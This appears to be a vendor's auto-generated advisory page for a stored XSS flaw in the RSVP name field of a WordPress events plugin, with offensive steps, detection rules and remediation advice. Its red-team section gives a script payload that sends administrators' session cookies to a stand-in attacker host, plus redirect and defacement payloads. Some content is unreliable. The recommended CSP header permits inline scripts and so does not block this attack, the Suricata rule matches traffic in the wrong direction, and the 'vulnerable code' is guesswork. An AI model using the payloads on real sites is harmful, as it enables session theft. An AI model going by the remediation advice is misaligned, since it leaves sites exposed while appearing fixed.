CVE-2024-6931
Executive Summary
CVE-2024-6931 is a Stored Cross-Site Scripting (XSS) vulnerability in the The Events Calendar plugin for WordPress, affecting all versions up to and including 6.6.3. The flaw resides in the RSVP name field, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious RSVP entry, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is particularly dangerous because it requires no authentication and can be triggered by simply viewing an event page. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch increases risk for unpatched sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must view the page
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification of content
- Availability Impact: None (A:N)
Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to full site compromise if an administrator views the malicious page.
Deep Dive & Mechanics
The vulnerability exists in the RSVP (RSVP) functionality of The Events Calendar plugin. When a user submits an RSVP, the name field is stored in the database without proper sanitization. The plugin fails to escape the output when rendering the RSVP list on event pages, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An unauthenticated attacker navigates to an event page that supports RSVPs.
- The attacker submits an RSVP with a malicious payload in the
namefield, e.g.,<script>alert('XSS')</script>. - The payload is stored in the WordPress database.
- When an administrator or any user views the event page, the plugin renders the RSVP list, executing the injected script in the victim's browser.
Root Cause: The plugin uses esc_html() or similar escaping functions inconsistently, or fails to escape the RSVP name field entirely. The name field is likely output directly via echo $name or <?= $name ?> without proper escaping.
Vulnerable vs. Patched Code
Vulnerable Code (<= 6.6.3):
// In RSVP display function
function display_rsvp_list($event_id) {
$rsvps = get_rsvps($event_id);
foreach ($rsvps as $rsvp) {
echo '<li>' . $rsvp['name'] . '</li>'; // No escaping
}
}
Patched Code (Hypothetical):
function display_rsvp_list($event_id) {
$rsvps = get_rsvps($event_id);
foreach ($rsvps as $rsvp) {
echo '<li>' . esc_html($rsvp['name']) . '</li>'; // Proper escaping
}
}
The patch would involve wrapping the $rsvp['name'] output with esc_html() or wp_kses_post() to neutralize any HTML/JavaScript.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with The Events Calendar plugin version <= 6.6.3.
- An event page with RSVP enabled.
Exploitation Steps:
- Identify a target event page with RSVP functionality.
- Submit an RSVP with a malicious payload in the
namefield:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an administrator to view the event page.
- The script executes, sending the admin's session cookie to the attacker's server.
Alternative Payloads:
- Redirect to phishing page:
<script>window.location='https://phishing.com'</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual RSVP submissions with script tags in the name field.
- Use WAF rules to block
<script>tags in form fields. - Implement Content Security Policy (CSP) headers to mitigate XSS.
Hunting:
- Search WordPress database for RSVP entries containing
<script>oronerrorattributes. - Review server logs for requests to
/wp-json/tribe/events/v1/rsvpwith suspicious payloads.
Indicators of Compromise (IOCs)
Network:
- HTTP POST requests to
/wp-json/tribe/events/v1/rsvpwithnameparameter containing<script>tags. - Outbound connections to attacker-controlled domains from the WordPress server.
- HTTP POST requests to
Host:
- Database entries in
wp_tribe_rsvptable withnamefield containing JavaScript. - Modified event pages displaying unexpected content.
- Database entries in
File:
- No specific file changes, as the payload is stored in the database.
Detection Engineering
YARA Rule
rule CVE_2024_6931_RSVP_XSS {
meta:
description = "Detects stored XSS payloads in The Events Calendar RSVP name field"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2024-6931"
strings:
$script = /<script[\s>]/ nocase
$onerror = /onerror\s*=/ nocase
$onload = /onload\s*=/ nocase
condition:
any of them
}
Sigma Rule
title: Stored XSS via The Events Calendar RSVP Name Field
id: cve-2024-6931
status: experimental
description: Detects attempts to exploit CVE-2024-6931 by injecting script tags in RSVP name field
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-json/tribe/events/v1/rsvp'
cs-params|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in RSVP names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6931 Stored XSS in The Events Calendar RSVP"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/tribe/events/v1/rsvp"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable RSVP functionality on The Events Calendar plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in RSVP name fields. - Add Content Security Policy (CSP) headers to mitigate XSS impact:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
Long-term Fix:
- Apply the official patch from The Events Calendar vendor once released.
- Upgrade to a patched version (expected > 6.6.3).
- Conduct a security audit of all custom code that handles RSVP data.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.